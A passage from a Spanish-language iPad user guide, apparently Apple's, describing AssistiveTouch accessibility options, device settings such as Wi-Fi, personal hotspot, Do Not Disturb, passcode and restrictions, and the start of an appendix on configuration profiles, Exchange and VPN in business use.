desactivar AssistiveTouch; vaya a Ajustes > General > Accesibilidad > Clic triple en Inicio. Ajustar la velocidad de desplazamiento (con accesorio conectado): Vaya a Ajustes > General > Accesibilidad > AssistiveTouch > Velocidad del cursor. Mostrar u ocultar el menú AssistiveTouch: Haga clic en el botón secundario de su accesorio.Capítulo 26 Accesibilidad 116 Ocultar el botón de inicio (con accesorio conectado): Vaya a Ajustes > General > Accesibilidad > AssistiveTouch > Mostrar menú siempre. Deslice o arrastre con 2, 3, 4 o 5 dedos: Pulse el botón de menú, pulse Gestos y, a continuación, pulse el número de dígitos necesarios para realizar el gesto. Cuando aparezcan los círculos correspondientes en la pantalla, realice un movimiento de desplazamiento o arrastre en la dirección requerida por el gesto. Cuando acabe, pulse el botón de menú. Realizar un gesto de pellizco: Pulse el botón de menú, pulse Favoritos y, a continuación, pulse Pellizcar. Cuando aparezcan los círculos de pellizco, pulse en cualquier parte de la pantalla para mover los círculos de pellizco y, a continuación, arrastre los círculos de pellizco hacia dentro o hacia fuera para realizar un gesto de pellizco. Cuando acabe, pulse el botón de menú. Crear su propio gesto: Pulse el botón de menú, pulse Favoritos y, a continuación, pulse un marcador de gesto vacío. O bien vaya a Ajustes > General > Accesibilidad > AssistiveTouch > Crear nuevo gesto. Bloquear o girar la pantalla, ajustar el volumen del iPad o simular la agitación del iPad: Pulse el botón de menú y, a continuación, pulse Dispositivo. Simular la pulsación del botón de inicio: Pulse el botón de menú y, a continuación, pulse Inicio. Mover el botón de menú: Arrástrelo a cualquier ubicación de la pantalla. Salir de un menú sin realizar ningún gesto: Pulse en cualquier lugar situado fuera del menú. Accesibilidad en OS X Aproveche las funciones de accesibilidad de OS X cuando utilice iTunes para sincronizar la información y los contenidos de su biblioteca de iTunes con el iPad. En el Finder, seleccione Ayuda > “Centro de ayuda” y busque “accesibilidad”. Para obtener más información sobre las funciones de accesibilidad del iPad y OS X, visite www.apple.com/es/accessibility. Tamaño de letra mínimo para los mensajes de Mail Para aumentar la legibilidad del texto, ajuste el tamaño de letra mínimo para el texto de los mensajes de Mail a Grande, Enorme o Gigante. Ajustar el tamaño de letra mínimo para los mensajes de Mail: Vaya a Ajustes > Correo, contactos, calendarios > Tamaño letra mínimo. El ajuste “Texto grande” invalida este tamaño de letra mínimo. Teclados panorámicos En todas las apps que vienen integradas en el iPad se muestra un teclado en pantalla de mayor tamaño cuando gira el iPad en posición horizontal. También puede escribir con un teclado inalámbrico de Apple. Con subtítulos Activar subtítulos para vídeos: Vaya a Ajustes > Vídeos > Con subtítulos. No todos los contenidos de vídeo incluyen subtítulos.27 117 El menú Ajustes le permite configurar el iPad, ajustar opciones de apps, añadir cuentas y cambiar otras preferencias. Consulte otros capítulos para obtener información sobre ajustes de las apps integradas. Por ejemplo, para los ajustes de Safari, consulte Capítulo 5, Safari, en la página 45. Modo Avión El modo Avión desactiva las funciones inalámbricas para reducir la posible producción de interferencias que obstaculicen el funcionamiento del avión y otros equipos eléctricos. Activar el modo Avión: Vaya a Ajustes y active el modo Avión. Cuando el modo Avión está activado, aparece en la barra de estado de la parte superior de la pantalla. No se emiten señales Wi-Fi, Bluetooth ni de telefonía móvil (en los modelos Wi-Fi + cellular) desde el iPad. No podrá utilizar apps ni funciones que dependan de estas señales, como una conexión a Internet. Si el operador del avión y la legislación o normativa aplicable lo permiten, podrá utilizar el iPad y las apps que no necesiten estas señales. Si hay una conexión Wi-Fi disponible y el operador del avión y la legislación o normativa aplicable lo permite, vaya a Ajustes > Wi-Fi para activarla. También puede activar Bluetooth en Ajustes > Bluetooth. Wi-Fi Conexión a una red Wi-Fi Los ajustes Wi-Fi determinan cuándo el iPad utiliza redes Wi-Fi locales para conectarse a Internet. Cuando el iPad está conectado a una red Wi-Fi, el icono Wi-Fi situado en la barra de estado de la parte superior de la pantalla muestra la intensidad de la señal. Cuantas más barras haya, más intensa será la señal. Una vez que se conecte a una red Wi-Fi, el iPad se conectará automáticamente a ella siempre que esté en su radio de alcance. Si hay más de una red anteriormente utilizada dentro del radio de alcance, el iPad se conectará a la última empleada. También puede utilizar el iPad para configurar una nueva estación base AirPort que proporcione servicios Wi-Fi a su hogar u oficina. Consulte Configuración de una estación base AirPort en la página 118. AjustesCapítulo 27 Ajustes 118 Activar y desactivar la función Wi-Fi: Vaya a Ajustes > Wi-Fi. Puede: • Ajustar el iPad para que le pregunte si desea conectarse a una red nueva: Active o desactive “Preguntar al conectar”. Si la opción “Preguntar al conectar” está desactivada, deberá acceder manualmente a una red para conectarse a Internet cuando no esté disponible ninguna red utilizada previamente. • Omitir una red para que el iPad no se conecte: Pulse junto a una red a la que se haya conectado anteriormente. A continuación, pulse “Omitir esta red”. • Conectarse a una red Wi-Fi cerrada: En la lista de nombres de red, pulse Otras e introduzca el nombre de la red cerrada. Debe conocer de antemano el nombre, contraseña y tipo de seguridad de la red para conectarse a una red cerrada. • Configurar los ajustes para conectarse a una red Wi-Fi: Pulse junto a una red. Puede ajustar un proxy HTTP, definir ajustes de red estática, activar BootP o renovar los ajustes proporcionados por un servidor DHCP. Configuración de una estación base AirPort Una estación base AirPort proporciona una conexión Wi-Fi a la red de su hogar, escuela o pequeña empresa. Puede utilizar el iPad para configurar una nueva estación base AirPort Express, AirPort Extreme o Time Capsule. Utilizar el Asistente Configuración AirPort: Vaya a Ajustes > Wi-Fi. Bajo “Configurar una estación base AirPort”, pulse el nombre de la estación base que desee configurar. A continuación, siga las instrucciones que aparecen en pantalla. Si la estación base que desea configurar no aparece en la lista, asegúrese de que esté recibiendo alimentación, de que se encuentre dentro del radio de alcance y de que aún no se haya configurado. Solo podrá configurar estaciones base que sean nuevas o que se hayan restaurado. Algunos modelos antiguos de estaciones base AirPort no pueden configurarse utilizando un dispositivo iOS. Para ver las instrucciones de configuración, consulte la documentación que acompañaba a la estación base. Gestionar una red AirPort: Si el iPad está conectado a una estación base de AirPort, pulse junto al nombre de la red. Si no ha descargado todavía la Utilidad AirPort, se abrirá la tienda App Store para obtenerla. VPN Su organización puede utilizar una VPN para comunicar información privada de forma segura a través de una red no privada. Por ejemplo, puede necesitar configurar una VPN para acceder al correo electrónico de su trabajo. Este ajuste aparece cuando se ha configurado una red privada virtual o VPN en el iPad y le permite activarla o desactivarla. Consulte VPN en la página 122. Compartir Internet Puede usar Compartir Internet (en los modelos Wi-Fi + cellular) para compartir una conexión a Internet con un ordenador u otro dispositivo (como un iPod touch o un iPhone) conectado a su iPad a través de Wi-Fi. También puede usar Compartir Internet para compartir una conexión a Internet con un ordenador conectado al iPad a través de Bluetooth o USB. Compartir Internet solo funcionará si el iPad está conectado a Internet a través de una red de datos de telefonía móvil.Capítulo 27 Ajustes 119 Nota: Puede que esta función no esté disponible en todas las áreas. Pueden aplicarse tarifas adicionales. Póngase en contacto con su operador de telefonía para obtener más información al respecto. Compartir una conexión a Internet: Vaya a Ajustes > General > “Datos móviles” y, a continuación, pulse “Configurar Compartir Internet” (si aparece) para configurar el servicio con su operador. Después de activar Compartir Internet, otros dispositivos podrán conectarse de las siguientes formas: • Wi-Fi: En el dispositivo, seleccione su iPad en la lista de redes Wi-Fi disponibles. • USB: Conecte el iPad al ordenador mediante el cable incluido. En el panel de preferencias Red de su ordenador, seleccione iPad y configure los ajustes de red. • Bluetooth: En el iPad, vaya a Ajustes > Bluetooth y active Bluetooth. Para enlazar y conectar el iPad a su dispositivo, consulte la documentación que acompañaba al ordenador. Cuando haya un dispositivo conectado, en la parte superior de la pantalla del iPad aparecerá una banda de color azul. Compartir Internet permanecerá activado cuando se conecte mediante USB, aunque no esté utilizando de forma activa la conexión a Internet. Nota: El icono de Compartir Internet se muestra en la barra de estado de los dispositivos iOS que usan la función Compartir Internet. Cambiar la contraseña Wi-Fi del iPad: Vaya a Ajustes > Compartir Internet > “Contraseña Wi-Fi” e introduzca una contraseña de al menos 8 caracteres. Supervisar el uso de la red de datos de telefonía móvil: Vaya a Ajustes > General > Uso > “Uso de la red móvil”. Bluetooth El iPad puede conectarse de forma inalámbrica a dispositivos Bluetooth, como dispositivos manos libres, auriculares y kits de coche, para poder escuchar música y hablar sin necesidad de emplear las manos. También puede conectar el teclado inalámbrico de Apple con Bluetooth. Consulte Teclado inalámbrico de Apple en la página 28. Activar o desactivar Bluetooth: Vaya a Ajustes > Bluetooth. Conectarse a un dispositivo Bluetooth: Pulse el dispositivo en la lista Dispositivos y siga las instrucciones que aparecen en la pantalla para conectarse al mismo. Consulte la documentación del dispositivo para obtener información sobre cómo establecer enlaces Bluetooth. Datos móviles Use los ajustes de datos de telefonía móvil en el iPad(en los modelos Wi-Fi + cellular) para activar el servicio de datos de telefonía móvil, activar o desactivar el uso de datos de telefonía móvil o añadir un número de identificación personal (PIN) para bloquear la tarjeta SIM. Algunos operadores permiten, además, cambiar el plan de datos. Activar o desactivar los datos de telefonía móvil: Vaya a Ajustes > “Datos móviles”. Si los datos de telefonía móvil están desactivados, todos los servicios de datos utilizarán únicamente la conexión Wi-Fi, incluidos los servicios de correo electrónico, navegación web, notificaciones “push” y otros. Si los datos de telefonía móvil están activados, el operador puede cobrar el coste del servicio. Por ejemplo, el uso de algunas funciones y servicios, como la transferencia de datos a través de Mensajes, puede repercutir en costes en su plan de datos.Capítulo 27 Ajustes 120 Activar o desactivar LTE: Vaya a Ajustes > “Datos móviles”. Si la opción LTE está disponible, los datos se cargarán más rápido si la activa. Activar o desactivar la itinerancia de datos: Vaya a Ajustes > “Datos móviles”. La desactivación de la itinerancia de datos evita la aplicación de tarifas por parte del operador como consecuencia del uso de una red de otro operador. Configurar “Compartir Internet”: Vaya a Ajustes > “Datos móviles” > “Configurar Compartir Internet”. La función “Compartir Internet” comparte la conexión a Internet del iPad con su ordenador y otros dispositivos iOS. Consulte Compartir Internet en la página 118. Configurar cuándo se utilizan datos móviles: Vaya a Ajustes > “Datos móviles”, active o desactive los datos móviles para los documentos de iCloud, iTunes, FaceTime o la lista de lectura. Si estos ajustes están desactivados, el iPad solo utilizará la red Wi-Fi. iTunes incluye iTunes Match y descargas automáticas de iTunes Store y App Store. Activar, ver o cambiar su cuenta de datos de telefonía móvil: Vaya a Ajustes > “Datos móviles” y, a continuación, pulse “Ver cuenta”. Siga las instrucciones que aparecen en pantalla. Bloquear la SIM: Vaya a Ajustes > “Datos móviles” > “PIN de la SIM”. Si bloquea la SIM, necesitará el PIN para utilizar la conexión de datos móviles del iPad. “No molestar” y notificaciones Las notificaciones “push” aparecen en el centro de notificaciones y le alertan de novedades, aunque una app asociada no se esté ejecutando. Estas notificaciones varían con cada app, aunque pueden incluir alertas de texto o sonido, así como un globo con un número en el icono de la app en la pantalla de inicio. Desactivar todas las notificaciones: Vaya a Ajustes y active el modo “No molestar”. Cuando esta opción está activada y el iPad está bloqueado, todas las notificaciones se silencian, aunque las alarmas seguirán sonando. Puede ajustar las siguientes opciones en Ajustes > Notificaciones > No molestar: • Activar automáticamente “No molestar”: Ajuste la hora de comienzo y finalización del período donde no quiere que se le moleste. El iPad activará automáticamente “No molestar” durante estas horas todos los días. • Permitir algunas llamadas de FaceTime durante “No molestar”: Cuando “No molestar” está activado, las llamadas de FaceTime se silencian. Para permitir la recepción de algunas llamadas, pulse “Permitir llamadas de”. Puede permitir llamadas de su lista de Favoritos o de otros grupos de Contactos que usted defina. Para obtener información sobre Favoritos, consulte Capítulo 14, Contactos, en la página 73. • Permitir llamadas insistentes: Active “Llamadas repetidas”. Si el mismo comunicante (definido por su ID de FaceTime) llama dos veces en menos de tres minutos, el iPad hará sonar la llamada. Activar o desactivar las notificaciones de apps: Vaya a Ajustes > Notificaciones. Pulse un ítem de la lista y active o desactive las notificaciones para dicho ítem. Las apps que tienen desactivadas las notificaciones aparecen en la lista “Fuera del centro de notificaciones”. Cambiar la forma en que aparecen las notificaciones: Vaya a Ajustes > Notificaciones. Puede: • Cambiar el número de notificaciones: Seleccione un ítem de la lista “En el centro de notificaciones”. Para ajustar cuántas notificaciones de este tipo deben aparecer en el centro de notificaciones, pulse Mostrar. • Cambiar los estilos de alerta: Seleccione un ítem de la lista “En el centro de notificaciones”. Seleccione un estilo de alerta o seleccione Ninguna para desactivar las alertas y las tiras. Las notificaciones seguirán apareciendo en el centro de notificaciones.Capítulo 27 Ajustes 121 • Cambiar el orden de las notificaciones: Pulse Editar. Arrastre las notificaciones en el orden que desee. Para desactivar una notificación, arrástrela a la lista “Fuera del centro de notificaciones”. • Mostrar globos con números en las apps con notificaciones: Seleccione un ítem en la lista “En el centro de notificaciones” y active “Globos en los iconos”. • Ocultar las alertas de una app cuando el iPad esté bloqueado: Seleccione la app en la lista del centro de notificaciones y, a continuación, desactive “Ver en la pantalla bloqueada”. Algunas apps incluyen opciones adicionales. Por ejemplo, Mensajes le permite especificar cuántas veces debe repetirse el sonido de alerta y si deben incluirse previsualizaciones del mensaje en la notificación. Eliminar publicación y tuit del centro de notificaciones: Estas opciones de compartir aparecen solo si ha configurado cuentas de Facebook o Twitter. Para eliminar estos botones, vaya a Ajustes > Notificaciones y, después, desactive el Widget Compartir. General Los ajustes generales incluyen la configuración de red, el uso compartido, la seguridad y otros ajustes. En este panel de ajustes también puede encontrar información sobre su iPad y restablecer varios de los ajustes. Acerca de Mostrar información acerca del iPad: Vaya a Ajustes > General > Acerca de. Entre los ítems que puede ver están: • el espacio de almacenamiento disponible; • número de serie; • versión de iOS; • direcciones de red; • Número de datos móviles (en modelos Wi-Fi + cellular) • el código IMEI (identidad internacional de equipo móvil) en los modelos Wi-Fi + cellular • el número ICCID (identificador de tarjeta de circuito integrado o tarjeta inteligente) para redes GSM (en los modelos Wi-Fi + cellular) • el número MEID (identificador de equipos móviles) para redes CDMA (en los modelos Wi-Fi + cellular) • avisos legales, licencia y marcas sobre normativas. Para copiar el número de serie y otros identificadores, mantenga pulsado el identificador hasta que aparezca Copiar. Cambiar el nombre del dispositivo: Vaya a Ajustes > General > Información y, a continuación, pulse Nombre. El nombre del dispositivo aparecerá en la barra lateral cuando se conecte a iTunes y lo utilice iCloud. Para ayudar a Apple a mejorar sus productos y servicios, el iPad envía automáticamente datos de diagnóstico y uso. Estos datos no lo identifican personalmente, pero pueden incluir información de localización. Ver o desactivar la información de diagnóstico: Vaya a Ajustes > General > Acerca de > Diagnóstico y uso.Capítulo 27 Ajustes 122 Actualización de Software Actualización de Software le permite descargar e instalar actualizaciones de iOS desde Apple. Actualizar a la última versión de iOS: Vaya a Ajustes > General > Actualización de Software. Si hay una nueva versión disponible de iOS, siga las instrucciones que aparecen en pantalla para descargarla e instalarla. Uso Ver la información de uso: Vaya a Ajustes > General > Uso. Puede: • ver el uso de datos móviles y restablecer las estadísticas (modelos Wi-Fi + cellular) • ver y eliminar copias de seguridad de iCloud, desactivar la realización de copias de seguridad del Carrete y adquirir almacenamiento adicional • ver el almacenamiento de cada app • mostrar el nivel de batería como un porcentaje • ver el tiempo transcurrido desde que se ha cargado el iPad Siri Activar Siri: Vaya a Ajustes > General > Siri. Para obtener información acerca del uso de Siri y la modificación de sus ajustes, consulte Cómo ajustar las opciones de Siri en la página 42. VPN Las VPN se utilizan en empresas para poder comunicar información privada de forma segura a través de una red no privada. Por ejemplo, puede necesitar configurar una VPN para acceder al correo electrónico de su trabajo. Solicite al administrador de la red los ajustes necesarios para configurar VPN en su red. Una vez definidos uno o más ajustes de VPN, podrá: • Activar o desactivar VPN: Vaya a Ajustes > VPN. • Cambiar entre VPN: Vaya a Ajustes > General > VPN y, a continuación, seleccione una configuración. Sincronización con iTunes vía Wi-Fi Puede sincronizar el iPad con iTunes en un ordenador que esté conectado a la misma red Wi-Fi. Activar “Sincr. con iTunes vía Wi-Fi”: Para configurar la sincronización Wi-Fi por primera vez, conecte el iPad al ordenador con el que desee realizar la sincronización. Para obtener instrucciones al respecto, consulte Sincronización con iTunes en la página 18. Tras configurar la sincronización a través de Wi-Fi, el iPad se sincroniza automáticamente con iTunes una vez al día, cuando: • se conecte el iPad a una fuente de alimentación; • el iPad y el ordenador se conecten a la misma red Wi-Fi; • iTunes se esté ejecutando en su ordenador. Búsqueda en Spotlight El ajuste “Búsqueda en Spotlight” le permite especificar las áreas de contenido en las que deben realizarse las búsquedas con Buscar, así como reordenar los resultados. Establecer las áreas de contenido en las que se realizarán las búsquedas con Buscar: Vaya a Ajustes > General > “Búsqueda en Spotlight” y, a continuación, seleccione los ítems que desee buscar. También puede cambiar el orden de las categorías de resultados.Capítulo 27 Ajustes 123 Bloqueo automático Bloquear el iPad apaga la pantalla para ahorrar batería y evitar un uso no deseado del iPad. Podrá seguir recibiendo mensajes, así como ajustar el volumen y utilizar los botones del micrófono de sus auriculares mientras escucha música. Ajustar el tiempo que transcurre antes de que el iPad se bloquea: Vaya a Ajustes > General > “Bloqueo automático” y, a continuación, seleccione un periodo de tiempo. Bloqueo con código Por omisión, el iPad no requiere que se introduzca un código para desbloquearlo. Establecer un código: Vaya a Ajustes > General > “Bloqueo con código” y, después, establezca un código de 4 dígitos. Para aumentar la seguridad, desactive “Código simple” y utilice un código más largo. Si olvida el código, deberá restablecer el software del iPad. Consulte Actualización y restauración del software del iPad en la página 140. Permitir el acceso cuando el iPad está bloqueado: Vaya a Ajustes > General > Bloqueo con código. Puede utilizar Siri sin desbloquear el iPad. Consulte Cómo ajustar las opciones de Siri en la página 42. Borrar los datos después de introducir un código equivocado diez veces: Vaya a Ajustes > General > “Bloqueo con código” y, después, pulse “Borrar datos”. Después de introducir un código equivocado diez veces, se restablecerán todos los ajustes y se borrarán todos los datos y contenidos eliminando la clave de encriptación de los datos (que están encriptados mediante el sistema de encriptación AES de 256 bits). Bloqueo y desbloqueo mediante tapa El iPad se puede bloquear y desbloquear automáticamente con las fundas Smart Cover para el iPad y Smart Case para el iPad (a la venta por separado). Si esta función está activada, el iPad se bloqueará y entrará en modo de reposo automáticamente cuando cierre la tapa y se activará cuando la abra. Este ajuste aparece al acoplar las fundas Smart Cover y Smart Case para el iPad. Restricciones Puede fijar restricciones para determinadas apps y contenido comprado. Por ejemplo, los padres pueden evitar que la música con letras para adultos aparezca en las listas de reproducción, o impedir la instalación de apps. Activar las restricciones: Vaya a Ajustes > General > Restricciones y pulse “Activar restricciones”. Se le pedirá que defina un código de restricciones que será necesario para cambiar los ajustes realizados. Este será diferente del código para desbloquear el iPad. Importante: Si olvida el código de restricciones, deberá restablecer el software del iPad. Consulte Actualización y restauración del software del iPad en la página 140. Puede establecer restricciones para las siguientes apps: • Safari • Cámara (y las apps que utilicen la cámara) • FaceTime • La tienda iTunes Store • iBookstore • Siri Capítulo 27 Ajustes 124 Puede restringir también lo siguiente: • Instalar apps: La App Store está desactivada y su icono no aparece en la pantalla de inicio. No es posible instalar apps en el iPad. • Eliminar apps: No es posible eliminar apps del iPad. no aparece en los iconos de las apps al personalizar la pantalla de inicio. • Lenguaje explícito: Siri intentará sustituir las palabras de contenido explícito que diga por asteriscos o pitidos. • Privacidad: Pueden bloquearse de forma independiente los ajustes de privacidad para los servicios de localización, Contactos, Calendarios, Recordatorios, Fotos, Compartir Bluetooth, Twitter y Facebook. • Cuentas: Los ajustes actuales de “Correo, contactos, calendarios” están bloqueados. No es posible añadir, modificar ni eliminar cuentas. Tampoco es posible modificar los ajustes de iCloud. • Buscar a mis amigos: Los ajustes actuales de “Buscar a mis amigos” están bloqueados. Esta opción está disponible cuando se instala la app “Buscar a mis amigos”. • Límite de volumen: El ajuste actual del límite de volumen está bloqueado. • Compras integradas: Si está desactivada la opción “Compras integradas”, no podrá adquirir contenido o funciones adicionales de las apps que descargue desde la tienda App Store. • Solicitar contraseñas: Le solicita que introduzca su ID de Apple para las compras integradas una vez transcurrido el periodo de tiempo que especifique. • Restricciones de contenido: Pulse “Puntuaciones para” y, a continuación, seleccione un país de la lista. A continuación, ajuste restricciones para música y podcasts, libros, películas, programas de TV y apps. El contenido que no se ajuste a la puntuación seleccionada no se mostrará en el iPad. • Juegos multijugador: Si la opción “Juegos multijugador” está desactivada, no podrá solicitar partidas, enviar o recibir invitaciones para jugar ni añadir amigos a Game Center. • Añadir amigos: Si la opción “Añadir amigos” está desactivada, no podrá enviar ni recibir solicitudes de amistad en Game Center. Si está activada la opción “Juegos multijugador”, podrá seguir jugando con sus amigos existentes. Interruptor lateral Puede utilizar el interruptor lateral para bloquear la orientación de la pantalla o para silenciar los efectos de sonido y las notificaciones. Bloquear la pantalla en orientación vertical u horizontal: Vaya a Ajustes > General > “Usar interruptor lateral para…” y, a continuación, pulse “Bloquear rotación”. Silenciar las notificaciones y otros efectos de sonido: Vaya a Ajustes > General > “Usar interruptor lateral para…” y, a continuación, pulse Silenciar. El interruptor lateral no silencia la reproducción de audio o vídeo. Utilice los botones de volumen laterales para silenciar estos sonidos. Gestos para multitarea Los gestos para multitarea le permiten cambiar rápidamente de una app a otra, mostrar la barra multitarea e ir a la pantalla de inicio. Consulte Gestos para multitarea en la página 22. Fecha y hora Estos ajustes afectan a la hora indicada en la barra de estado de la parte superior de la pantalla, a los relojes internacionales y a los calendarios. Indicar si el iPad mostrará la hora en formato de 24 o 12 horas: Vaya a Ajustes > General > “Fecha y hora” y, a continuación, active o desactive “Reloj de 24 horas”. (Es posible que la opción “Reloj de 24 horas” no esté disponible en todas las áreas.) Capítulo 27 Ajustes 125 Establecer si el iPad actualiza la fecha y la hora automáticamente: Vaya a Ajustes > General > “Fecha y hora” y, a continuación, active o desactive “Ajuste automático”. Si ajusta el iPad de modo que actualice la hora automáticamente, obtendrá la hora correcta según su conexión de datos móviles (en los modelos Wi-Fi + cellular) o su conexión Wi-Fi. En algunos casos, el iPad puede no ser capaz de determinar automáticamente la hora local. Ajustar la fecha y la hora de forma manual: Vaya a Ajustes > General > “Fecha y hora” y, a continuación, desactive “Ajuste automático”. Pulse “Zona horaria” para ajustar su zona horaria. Pulse el botón “Fecha y hora” y luego pulse “Ajustar fecha y hora”. Teclado Puede activar teclados para escribir en distintos idiomas, y puede activar y desactivar distintas funciones de escritura, como la comprobación ortográfica. Para obtener información sobre las opciones de teclado, consulte Escritura en la página 25. Para obtener información sobre el uso de teclados internacionales, consulte Apéndice B, Teclados internacionales, en la página 130. Internacional Vaya a Ajustes > General > Internacional para ajustar lo siguiente: • El idioma del iPad • El formato del calendario • Los teclados que utiliza • Los formatos de fecha, hora y números Accesibilidad Vaya a Ajustes > General > Accesibilidad y active las funciones que desee. Consulte Capítulo 26, Accesibilidad, en la página 103. Perfiles Este ajuste aparecerá si instala uno o varios perfiles en el iPad. Pulse Perfiles para ver la información sobre los perfiles instalados. Para obtener más información sobre los perfiles, consulte Apéndice A, El iPad en la empresa, en la página 128. Restablecer Puede restablecer el diccionario de teclado, los ajustes de red, la disposición de la pantalla de inicio y los avisos de localización. También puede borrar todo su contenido y ajustes. Restablecer el iPad: Vaya a Ajustes > General > Restablecer y, a continuación, seleccione una opción: • Restablecer todos los ajustes: Todas sus preferencias y ajustes se restablecerán. • Borrar todo el contenido y los ajustes: Se eliminará su información y sus ajustes. No se podrá utilizar el iPad hasta que vuelva a configurarse. • Restablecer los ajustes de red: Cuando restablezca los ajustes de red, se eliminarán la lista de redes utilizadas previamente y los ajustes VPN no instalados por un perfil de configuración. El sistema Wi-Fi se desactivará y se volverá a activar, con lo que se desconectará de cualquier red a la que esté conectado. Los ajustes “Wi-Fi” y “Preguntar al conectar” permanecen activados. Para eliminar ajustes VPN instalados por un perfil de configuración, vaya a Ajustes > General > Perfil y, a continuación, seleccione el perfil y pulse Eliminar. Esta operación también elimina otros ajustes o cuentas proporcionados por el perfil.Capítulo 27 Ajustes 126 • Restablecer el diccionario del teclado: Puede añadir palabras al diccionario rechazando las palabras que el iPad sugiere al escribir. Restablecer el diccionario del teclado borra todas las palabras que ha añadido. • Restablecer la disposición de la pantalla de inicio: Devuelve las aplicaciones integradas a su disposición original en la pantalla de inicio. • Restablecer localización y privacidad: Restablece los servicios de localización y los ajustes de privacidad a sus valores de fábrica. Sonidos Puede ajustar el iPad para que reproduzca un sonido siempre que reciba un mensaje de texto, un mensaje de correo electrónico, un tuit, una publicación de Facebook, un mensaje en el buzón de voz o un recordatorio. También pueden establecer sonidos para citas, envío de mensajes de correo electrónico, clics del teclado y cuando bloquee el iPad. Cambiar los ajustes de sonido: Vaya a Ajustes > Sonidos. Entre las opciones disponibles están las siguientes: • Modificar el volumen de los tonos y alertas. • Establecer alertas y otros tonos. • Activar el clic del teclado y un sonido que se reproduce cuando el iPad se bloquea. Brillo y fondo de pantalla El brillo de la pantalla afecta a la duración de la batería. Oscurezca la pantalla para aumentar el tiempo que transcurrirá antes de que necesite recargar el iPad o utilice la función “Brillo automático”. Ajustar el brillo de la pantalla: Vaya a Ajustes > Brillo y, a continuación, arrastre el regulador. Si “Brillo automático” está activado, el iPad ajusta el brillo de la pantalla según las condiciones de iluminación de cada momento utilizando el sensor de luz ambiental integrado. Los ajustes de “Fondo de pantalla” le permiten establecer una imagen o foto como fondo de pantalla de la pantalla de bloqueo o de la pantalla de inicio. Consulte Modificación del fondo de pantalla en la página 24. Marco de fotos La modalidad de marco de fotos convierte el iPad en un auténtico marco de fotos digital. Seleccione la transición que desea utilizar, la duración de cada foto y el álbum que se mostrará. Elija si desea hacer un zoom en las caras o si desea reproducir las fotos en orden aleatorio. Iniciar la modalidad de marco de fotos: Pulse en la pantalla de bloqueo. Quitar el botón “Marco de fotos” de la pantalla de bloqueo: Vaya a Ajustes > General > Bloqueo con código.Capítulo 27 Ajustes 127 Privacidad Los ajustes de privacidad le permiten ver y controlar qué apps y servicios del sistema tienen acceso a los servicios de localización y a los contactos, calendarios, recordatorios y fotos. La función Localización permite que apps como Recordatorios, Mapas y Cámara basadas en información de localización obtengan y empleen información relativa a su ubicación geográfica. Su posición aproximada se determina empleando la información disponible en las redes de datos de telefonía móvil (en los modelos Wi-Fi + cellular), las redes Wi-Fi locales (si Wi-Fi está activado) y el sistema GPS (puede que no esté disponible en todas las áreas). Los datos de ubicación recopilados por Apple se obtienen de un modo que no permite identificarle de forma personal. Si una app está usando los servicios de localización, aparecerá en la barra de menús. Activar o desactivar los servicios de localización: Vaya a Ajustes > Privacidad > Localización. Puede desactivarlos para todas las apps y servicios que desee. Si desactiva los servicios de localización, el sistema le pedirá que vuelva a activarlos la próxima vez que una app o un servicio intente utilizarlos. Desactivar los servicios de localización para los servicios del sistema: Varios servicios del sistema, como iAds, utilizan información de localización. Para consultar su estado, activarlos, desactivarlos o mostrar en la barra de menú cuando estos servicios utilicen su localización, vaya a Ajustes > Privacidad > Servicios de localización > Servicios del sistema. Desactivar el acceso a información privada: Vaya a Ajustes > Privacidad. Puede ver qué apps han solicitado y recibido permiso para acceder a la siguiente información: • Contactos • Calendarios • Recordatorios • Fotos • Compartir Bluetooth • Twitter • Facebook Puede desactivar el acceso de cada app a cada una de las categorías de información. Revise los términos y la política de privacidad de cada app de otros fabricantes para comprender cómo utilizan los datos solicitados.A 128 El iPad en la empresa Gracias a su compatibilidad con accesos protegidos a redes, directorios y servidores Microsoft Exchange de empresa, el iPad está preparado para ir a trabajar. Para obtener información detallada acerca de la forma de usar el iPad para sus actividades empresariales, vaya a www.apple.com/es/ipad/business. Uso de perfiles de configuración Si se encuentra en un entorno empresarial, puede configurar cuentas y otros ítems en el iPad instalando un perfil de configuración. Los perfiles de configuración permiten a su administrador configurar su iPad para que pueda utilizar los sistemas de información de su empresa, escuela u organización. Por ejemplo, un perfil de configuración podría configurar el iPad para acceder a servidores Microsoft Exchange del trabajo, de modo que el iPad pueda acceder al correo electró- nico, los calendarios y los contactos de Exchange y pueda activar el “Bloqueo con código” para mantener la seguridad de la información. El administrador del sistema puede distribuir los perfiles de configuración por correo electrónico, colocándolos en una página web segura o instalándolos directamente en su iPad. Es posible que su administrador tenga que instalar un perfil que vincule el iPad a un servidor de gestión de dispositivos móviles, que permite a su administrador configurar sus ajustes de forma remota. Instalar perfiles de configuración: En el iPad, abra el mensaje de correo electrónico o descargue los perfiles de configuración desde el sitio web que le proporcione su administrador. Cuando abra un perfil de configuración, comenzará la instalación. Importante: Puede que el sistema le pregunte si un perfil de configuración es de confianza. En caso de duda, pregunte a su administrador antes de instalar el perfil de configuración. No puede cambiar la configuración definida por un perfil de configuración. Si quiere cambiarla, primero deberá eliminar el perfil de configuración o instalar uno nuevo con una nueva configuración. Eliminar un perfil de configuración: Vaya a Ajustes > General > Perfil, seleccione el perfil de configuración y luego pulse Eliminar. Al eliminar un perfil de configuración, se elimina la configuración y el resto de información que ha instalado el perfil. Configuración de cuentas de Microsoft Exchange Microsoft Exchange proporciona correo electrónico, así como información de contactos, tareas y calendarios, que puede sincronizar de forma automática e inalámbrica con el iPad. Puede configurar una cuenta Exchange directamente en el iPad. Configurar una cuenta Exchange en el iPad: Vaya a Ajustes > Correo, contactos, calendarios. Pulse “Añadir cuenta” y después, Microsoft Exchange. Pregunte a su proveedor de servicios o a su administrador qué configuración debe utilizar. El iPad en la empresa ApéndiceApéndice A El iPad en la empresa 129 Acceso a una red VPN Las redes privadas virtuales (VPN) ofrecen un acceso seguro por Internet a las redes privadas, por ejemplo, a la red de su empresa o institución académica. Utilice los ajustes de red del iPad para configurar y activar la red VPN. Consulte al administrador qué ajustes debe utilizar. También es posible configurar una VPN de forma automática mediante un perfil de configuración. Cuando la VPN se configura mediante un perfil de configuración, el iPad puede activar la VPN automáticamente cuando sea necesario. Para obtener más información al respecto, póngase en contacto con su administrador. Cuentas LDAP y CardDAV Si crea una cuenta LDAP, podrá ver y buscar contactos en el servidor LDAP de su empresa. El servidor aparecerá como un nuevo grupo dentro de Contactos. Como los contactos LDAP no se descargan en el iPad, para visualizarlos deberá disponer de conexión a Internet. Consulte a su administrador los ajustes de cuenta y otros requisitos (como VPN). Al configurar una cuenta CardDAV, los contactos de su cuenta se 